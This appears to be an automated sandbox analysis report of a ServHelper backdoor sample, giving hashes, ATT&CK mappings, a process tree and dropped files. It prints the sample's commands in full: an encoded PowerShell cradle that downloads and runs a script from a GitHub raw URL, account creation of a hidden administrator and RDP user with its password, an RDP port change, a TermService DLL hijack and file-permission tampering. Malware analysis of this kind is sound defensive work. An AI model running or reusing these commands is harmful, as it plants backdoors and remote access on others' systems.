servhelper | cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

Analysis

max time kernel
130s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10-04-2024 14:11

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General

Target

cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3.exe
Size

5.7MB
MD5

63151e4f7c3972f18a23c0e9996e14ef
SHA1

5d041fde6433a8ff8fc78a69fca1fd4630e3f270
SHA256

cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3
SHA512

f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec
SSDEEP

49152:H+zcyKrb/T/vO90dL3BmAFd4A64nsfJdItom5VWIKvZeUW+EMioAnt64mtCvtEhq:H+nvKojmAQQQQQQQQQQQQQ

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2412 powershell.exe
6 2412 powershell.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

2788 icacls.exe
1612 icacls.exe
2100 takeown.exe
604 icacls.exe
1648 icacls.exe
704 icacls.exe
2088 icacls.exe
592 icacls.exe

flow	pid	process
5	2412	powershell.exe
6	2412	powershell.exe

pid	process
2788	icacls.exe
1612	icacls.exe
2100	takeown.exe
604	icacls.exe
1648	icacls.exe
704	icacls.exe
2088	icacls.exe
592	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

2796
2796
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exe

pid process

704 icacls.exe
2088 icacls.exe
592 icacls.exe
2788 icacls.exe
1612 icacls.exe
2100 takeown.exe
604 icacls.exe
1648 icacls.exe

pid	process
2796
2796

pid	process
704	icacls.exe
2088	icacls.exe
592	icacls.exe
2788	icacls.exe
1612	icacls.exe
2100	takeown.exe
604	icacls.exe
1648	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 raw.githubusercontent.com
5 raw.githubusercontent.com
6 raw.githubusercontent.com
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OX11UHL441HR73XH1IU1.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1752 WMIC.exe

pid	process
1752	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

powershell.exeWMIC.exeWMIC.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a05fc216518bda01	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2800 reg.exe
Runs net.exe

pid	process
2800	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2508	powershell.exe
1808	powershell.exe
1060	powershell.exe
1780	powershell.exe
2508	powershell.exe
2508	powershell.exe
2508	powershell.exe
2412	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid process

468
2796
2796
2796
2796

pid	process
468
2796
2796
2796
2796

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeRestorePrivilege	1612	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1752	WMIC.exe
Token: SeAuditPrivilege	1752	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1752	WMIC.exe
Token: SeAuditPrivilege	1752	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2616	WMIC.exe
Token: SeAuditPrivilege	2616	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2616	WMIC.exe
Token: SeAuditPrivilege	2616	WMIC.exe
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	process	target process
PID 1736 wrote to memory of 2508	1736	cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3.exe	powershell.exe
PID 1736 wrote to memory of 2508	1736	cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3.exe	powershell.exe
PID 1736 wrote to memory of 2508	1736	cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3.exe	powershell.exe
PID 2508 wrote to memory of 2544	2508	powershell.exe	conhost.exe
PID 2508 wrote to memory of 2544	2508	powershell.exe	conhost.exe
PID 2508 wrote to memory of 2544	2508	powershell.exe	conhost.exe
PID 2544 wrote to memory of 2400	2544	csc.exe	cvtres.exe
PID 2544 wrote to memory of 2400	2544	csc.exe	cvtres.exe
PID 2544 wrote to memory of 2400	2544	csc.exe	cvtres.exe
PID 2508 wrote to memory of 1808	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 1808	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 1808	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 1060	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 1060	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 1060	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 1780	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 1780	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 1780	2508	powershell.exe	powershell.exe
PID 2508 wrote to memory of 2100	2508	powershell.exe	takeown.exe
PID 2508 wrote to memory of 2100	2508	powershell.exe	takeown.exe
PID 2508 wrote to memory of 2100	2508	powershell.exe	takeown.exe
PID 2508 wrote to memory of 604	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 604	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 604	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 1612	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 1612	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 1612	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 1648	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 1648	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 1648	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 2788	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 2788	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 2788	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 704	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 704	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 704	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 592	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 592	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 592	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 2088	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 2088	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 2088	2508	powershell.exe	icacls.exe
PID 2508 wrote to memory of 528	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 528	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 528	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 2800	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 2800	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 2800	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 2052	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 2052	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 2052	2508	powershell.exe	reg.exe
PID 2508 wrote to memory of 2912	2508	powershell.exe	net.exe
PID 2508 wrote to memory of 2912	2508	powershell.exe	net.exe
PID 2508 wrote to memory of 2912	2508	powershell.exe	net.exe
PID 2912 wrote to memory of 1476	2912	net.exe	net1.exe
PID 2912 wrote to memory of 1476	2912	net.exe	net1.exe
PID 2912 wrote to memory of 1476	2912	net.exe	net1.exe
PID 2508 wrote to memory of 2540	2508	powershell.exe	cmd.exe
PID 2508 wrote to memory of 2540	2508	powershell.exe	cmd.exe
PID 2508 wrote to memory of 2540	2508	powershell.exe	cmd.exe
PID 2540 wrote to memory of 1708	2540	cmd.exe	cmd.exe
PID 2540 wrote to memory of 1708	2540	cmd.exe	cmd.exe
PID 2540 wrote to memory of 1708	2540	cmd.exe	cmd.exe
PID 1708 wrote to memory of 1692	1708	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3.exe
"C:\Users\Admin\AppData\Local\Temp\cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2508

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ofs6q8ks.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2544

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC38.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCAC27.tmp"
4⤵
PID:2400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1780

C:\Windows\system32\takeown.exe
"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2100

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:604

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1612

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1648

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2788

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:704

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:592

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2088

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
3⤵
PID:528

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
3⤵
- Sets DLL path for service in the registry
- Modifies registry key
PID:2800

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
3⤵
PID:2052

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
3⤵
- Suspicious use of WriteProcessMemory
PID:2912

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
4⤵
PID:1476

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
3⤵
- Suspicious use of WriteProcessMemory
PID:2540

C:\Windows\system32\cmd.exe
cmd /c net start rdpdr
4⤵
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\system32\net.exe
net start rdpdr
5⤵
PID:1692

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start rdpdr
6⤵
PID:1348

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
3⤵
PID:1640

C:\Windows\system32\cmd.exe
cmd /c net start TermService
4⤵
PID:1064

C:\Windows\system32\net.exe
net start TermService
5⤵
PID:1552

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start TermService
6⤵
PID:2128

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
3⤵
PID:1160

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
3⤵
PID:1988

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1140

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc 000000 /del
2⤵
PID:2832

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
3⤵
PID:1340

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 8Jlx3RNw /add
1⤵
PID:2876

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc 8Jlx3RNw /add
2⤵
PID:3032

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc 8Jlx3RNw /add
3⤵
PID:2284

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:2340

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
2⤵
PID:712

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
3⤵
PID:900

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
1⤵
PID:884

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
2⤵
PID:1684

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
3⤵
PID:2968

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2448

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
2⤵
PID:1760

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
3⤵
PID:2224

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 8Jlx3RNw
1⤵
PID:1420

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc 8Jlx3RNw
2⤵
PID:2776

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc 8Jlx3RNw
3⤵
PID:1864

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2936

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
2⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2632

C:\Windows\System32\Wbem\WMIC.exe
wmic CPU get NAME
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2616

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "20424056601010562712684525421-742214191246008621-2966882191756620641-1930846302"
1⤵
PID:2544

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2476

C:\Windows\system32\cmd.exe
cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
2⤵
PID:1244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2412

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

File and Directory Permissions Modification

T1222

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESAC38.tmp
Filesize
1KB

MD5
6384ef3deae4da3cbb9c9bde58b2df0e

SHA1
f2fc708eb4dfe1e7fb53e1849ba21b39fd6baca0

SHA256
083fc7b4911f7c57759aeef159798a5581e9636ecc2f0acf0b1d0dbdd98ddecc

SHA512
c91dbdd7d3b062c0d2e2281918c594e79461bfe809d78a2fe2624ce35a988032647bcb5105428a5847914f0793bd80ae198c4276685f221b6a86beced3ce5b1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
Filesize
2.5MB

MD5
f783019c5dc4a5477d1ffd4f9f512979

SHA1
37c8d1e5dd2ebce647c4e0a92f8598ebf2fdcc7b

SHA256
4c81fee866a87b2de6e10640fe094f0db29258014177e294ac94a819940f5348

SHA512
64d90352f4466f0097dd2c7ace8ccb155947dda8ae148c8c6ba1507a9e879247fab2eba452c812ba628a65de93cc096dabfcb23d2be4b525a92e5ef9e4b57d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ofs6q8ks.dll
Filesize
3KB

MD5
d8cff69d348c107621236b6b6eb62a9d

SHA1
d228abf42fdc211e80eb1e4b1a5eff92759cfed5

SHA256
4168a0533babfcb495cad611a842e3935a870c5053228eab96bea493792c2045

SHA512
baff7b709d5062749d8c1c30f9156287c78d53ccdca70602283a7735fae99e49dc3c416cb1502cdc10bcf040fae983b977e4b02caa1d4a33879cac060f3676cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\ofs6q8ks.pdb
Filesize
7KB

MD5
b425affd3070b3db0a561b3cf246c3e7

SHA1
92df13db327f9e08adfda7a6ffc09f429739c4d7

SHA256
1824610bd3dd351ce02e47f0db6babe0249eba601195e3e6f561b65d6c18e8fd

SHA512
d2a97dbb9e2a9b6592d997c17d7ad683ee0b9df3f8b7ebf77fb80378160b5d1e1d8a8895e842296e2a73ef6c20d00b6ce7f99ca036f83270b6f1c048946197e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1
Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R2662K86D6U2V7NTU3X0.temp
Filesize
7KB

MD5
f886b4ba6293daa9f089b1f869acfc24

SHA1
d96d7f811f9d9eaab342d112fe61c3d48d7a7a08

SHA256
912112eae5ddc8c0491fa1230196167ed98ab7bf01252c9ee3c8d3092e8fa9a6

SHA512
7689a2512e0c7ef788c6b3abc74e442b8ae7dfe7be7b530dc51552e3f35c6d65cf2af2bcead18402864806c892864573cbf288f21728f048c2938e541fcf9598

Download Submit
C:\Windows\system32\rfxvmt.dll
Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCAC27.tmp
Filesize
652B

MD5
0ce6cbbcef033e567e49e81230fc2341

SHA1
6c2b135adcc18597e2c23a6b05dd49ab06adb409

SHA256
41e5d7ec3b919b4786926f3fc5e98c073b89d8caff2441dcc1a0b352297079b9

SHA512
97ff6c1f9bb0a5c9f1fad447d45a86a59d1b371954caf99d3473b374d2c19d21dc9f39527bb038e6916fe7acddde8b210cffdf010a9d65eb28b42284299951bb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ofs6q8ks.0.cs
Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ofs6q8ks.cmdline
Filesize
309B

MD5
d7648f799a1f48da09219c27ba6a66ea

SHA1
ba9ef201ad73d66899a25442c47d1d2e827c2956

SHA256
7178547dcae3cb88a437682ae91b73ff81bfe92c1db37d2742906dcb5dfa023a

SHA512
96c2a4963724d3b41ee24d44894427e99a44b75b88ad95c7ff5784f978c15c2cdd57fd4adbc6ebbdc42320860543eb42ef2a11acdf9a791a112b3be2a6ae0def

Download Submit
\Windows\Branding\mediasrv.png
Filesize
60KB

MD5
ac13d804585a74dc542db4ec94da39df

SHA1
8642ae2e04e492700caf41b43de9ef9d8b3c26f9

SHA256
84c41dc018689fcb2fc4240f1e0267a5ee82232e3bcd541f5f5bed4139cfcd55

SHA512
0ba869487fda38d398903df4235bd8f2d0f8fb774b559125ba278751a5a503adbb0557f9ea2fde5fecba4f1a33b71583be36fac0f6f8842cbee0bdd7ea2fb5bf

Download Submit
\Windows\Branding\mediasvc.png
Filesize
743KB

MD5
9151c95451abb048a44f98d0afac8264

SHA1
22f447b210eb25c11be5a9c31f254f5f2bd50a78

SHA256
8082bfe8a9f63854d6317cf6ddc0c18c54140ee5d179a96bfe9900c90d994518

SHA512
728b140e68dcb6751cccb4d1046ac61f63e8db13d4f613b44e161d457f107acc11b3275167c7b4dff34a6d5966116ecb062f94713d0cf4f35b327d14ec7cbd13

Download Submit
memory/1060-65-0x000007FEEC890000-0x000007FEED22D000-memory.dmp

Filesize
9.6MB

Download
memory/1060-66-0x00000000024F0000-0x0000000002570000-memory.dmp

Filesize
512KB

Download
